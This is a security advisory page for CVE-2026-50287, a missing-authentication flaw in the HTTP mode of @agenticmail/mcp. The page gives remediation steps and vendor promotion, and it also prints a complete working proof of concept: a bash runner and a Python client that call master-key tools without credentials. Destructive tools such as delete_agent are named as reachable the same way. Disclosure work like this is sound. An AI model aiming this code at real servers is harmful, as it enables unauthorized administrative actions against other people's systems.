CVE-2026-50287

CVE-2026-50287 is a high-severity missing authentication for critical function vulnerability in @agenticmail/mcp (npm), affecting versions < 0.9.27. It is fixed in 0.9.27.

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Runtime intelligence, not another scanner.

Summary

@agenticmail/mcp Missing Authentication for Critical Function

AgenticMail MCP HTTP authorization bypass

@agenticmail/mcp exposes a Streamable HTTP transport when started with
--http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests
without any HTTP authentication layer. A remote client can initialize a
session and call tools directly.

The problem is that the MCP server also exposes tools documented as requiring
AGENTICMAIL_MASTER_KEY, and the server process forwards those calls using its
own configured master key. As a result, any client that can reach the MCP HTTP
port can invoke master-only operations without knowing the master key.

Affected Code

  • packages/mcp/src/index.ts
  • packages/mcp/src/tools.ts
  • packages/mcp/README.md

Relevant observations:

  • packages/mcp/src/index.ts starts an HTTP server for /mcp without
    checking an Authorization header.
  • packages/mcp/src/tools.ts marks gateway/admin tools as master-key tools
    and forwards them with the server-side AGENTICMAIL_MASTER_KEY.
  • packages/mcp/README.md documents that gateway/admin tools require the
    master key.

Reproduction

Use the bundled one-command PoC runner:

cd agenticmail
./scripts/run_agenticmail_mcp_http_unauth_poc.sh

Expected success output:

[+] received mcp-session-id without authentication: ...
[+] tools/call(setup_guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`

PoC Files

Inline PoC

The following PoC is non-destructive. It calls setup_guide, which is
documented as a master-key tool but only returns setup guidance.

scripts/run_agenticmail_mcp_http_unauth_poc.sh

#!/usr/bin/env bash
set -euo pipefail

REPO_DIR="."
POC="scripts/agenticmail_mcp_http_unauth_poc.py"

API_HOST="${API_HOST:-127.0.0.1}"
API_PORT="${API_PORT:-}"
MCP_PORT="${MCP_PORT:-}"
MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}"
DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}"
LOG_DIR="${LOG_DIR:-.poc-logs}"

mkdir -p "$DATA_DIR" "$LOG_DIR"

node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node_major < 20 )); then
  echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2
  exit 2
fi

find_free_port() {
  python3 - <<'PY'
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.bind(("127.0.0.1", 0))
    print(sock.getsockname()[1])
PY
}

[[ -n "$API_PORT" ]] || API_PORT="$(find_free_port)"
[[ -n "$MCP_PORT" ]] || MCP_PORT="$(find_free_port)"

api_pid=""
mcp_pid=""
cleanup() {
  set +e
  [[ -z "${mcp_pid:-}" ]] || kill "$mcp_pid" 2>/dev/null || true
  [[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true
}
trap cleanup EXIT

wait_tcp() {
  local host="$1"
  local port="$2"
  local name="$3"
  for _ in $(seq 1 60); do
    if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY'
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
try:
    sock.connect((sys.argv[1], int(sys.argv[2])))
    sys.exit(0)
except Exception:
    sys.exit(1)
finally:
    sock.close()
PY
    then
      echo "[+] $name is listening: $host:$port"
      return 0
    fi
    sleep 1
  done
  echo "[-] Timed out waiting for $name: $host:$port" >&2
  return 1
}

cd "$REPO_DIR"

echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT"
(
  export AGENTICMAIL_API_HOST="$API_HOST"
  export AGENTICMAIL_API_PORT="$API_PORT"
  export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
  export AGENTICMAIL_DATA_DIR="$DATA_DIR"
  npm run dev:api
) >"$LOG_DIR/api.log" 2>&1 &
api_pid="$!"
wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API"

echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT"
(
  export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT"
  export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
  export AGENTICMAIL_DATA_DIR="$DATA_DIR"
  npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT"
) >"$LOG_DIR/mcp.log" 2>&1 &
mcp_pid="$!"
wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server"

echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp"

scripts/agenticmail_mcp_http_unauth_poc.py

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import json
import sys
import urllib.error
import urllib.request


def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]:
    data = json.dumps(payload).encode("utf-8")
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if session_id:
        headers["mcp-session-id"] = session_id

    req = urllib.request.Request(url, data=data, headers=headers, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            body = resp.read().decode("utf-8", errors="replace")
            return resp.status, dict(resp.headers), body
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", errors="replace")
        return exc.code, dict(exc.headers), body


def parse_sse_or_json(body: str) -> list[dict]:
    events: list[dict] = []
    stripped = body.strip()
    if not stripped:
        return events
    if stripped.startswith("{") or stripped.startswith("["):
        parsed = json.loads(stripped)
        return parsed if isinstance(parsed, list) else [parsed]
    for line in body.splitlines():
        if not line.startswith("data:"):
            continue
        data = line[len("data:") :].strip()
        if not data:
            continue
        try:
            events.append(json.loads(data))
        except json.JSONDecodeError:
            pass
    return events


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="http://127.0.0.1:8014/mcp")
    parser.add_argument("--tool", default="setup_guide")
    args = parser.parse_args()

    init_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2025-03-26",
            "capabilities": {},
            "clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
        },
    }

    status, headers, body = post_json(args.url, init_payload)
    print(f"[+] initialize HTTP status: {status}")
    print(f"[+] initialize response body: {body[:500]}")
    session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
    if not session_id:
        print("[-] No mcp-session-id header returned")
        return 2
    print(f"[+] received mcp-session-id without authentication: {session_id}")

    post_json(args.url, {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
        "params": {},
    }, session_id=session_id)

    status, _headers, body = post_json(args.url, {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {"name": args.tool, "arguments": {}},
    }, session_id=session_id)
    print(f"[+] tools/call({args.tool}) HTTP status: {status}")
    print("[+] raw response:")
    print(body)

    if any("result" in msg for msg in parse_sse_or_json(body)):
        print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`")
        return 0

    print("[-] Tool call did not return a result")
    return 1


if __name__ == "__main__":
    sys.exit(main())

Why This Is a Vulnerability

The project treats AGENTICMAIL_MASTER_KEY as the authorization boundary for
administrative and gateway operations. HTTP MCP mode removes the client-side
authentication boundary entirely, so an unauthenticated network client becomes
an indirect caller of master-only API functionality.

Impact

An unauthenticated network client can invoke master-key-only MCP tools through
the server, including administrative and gateway actions.

Confirmed with a read-only tool:

  • setup_guide

The same path reaches higher-impact tools such as:

  • setup_email_relay
  • setup_email_domain
  • delete_agent
  • cleanup_agents
  • send_test_email

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

Affected versions

@agenticmail/mcp (< 0.9.27)

Security releases

@agenticmail/mcp → 0.9.27 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

  • Require authentication for HTTP MCP mode.
  • Bind the MCP HTTP server to 127.0.0.1 by default.
  • Reject /mcp requests that lack a valid bearer token or shared secret.
  • Disable master-key tools when the transport is unauthenticated.

Frequently Asked Questions

  1. What is CVE-2026-50287? CVE-2026-50287 is a high-severity missing authentication for critical function vulnerability in @agenticmail/mcp (npm), affecting versions < 0.9.27. It is fixed in 0.9.27. A critical operation is accessible without requiring any authentication.
  2. Which versions of @agenticmail/mcp are affected by CVE-2026-50287? @agenticmail/mcp (npm) versions < 0.9.27 is affected.
  3. Is there a fix for CVE-2026-50287? Yes. CVE-2026-50287 is fixed in 0.9.27. Upgrade to this version or later.
  4. Is CVE-2026-50287 exploitable, and should I be worried? Whether CVE-2026-50287 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-50287 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-50287? Upgrade @agenticmail/mcp to 0.9.27 or later.

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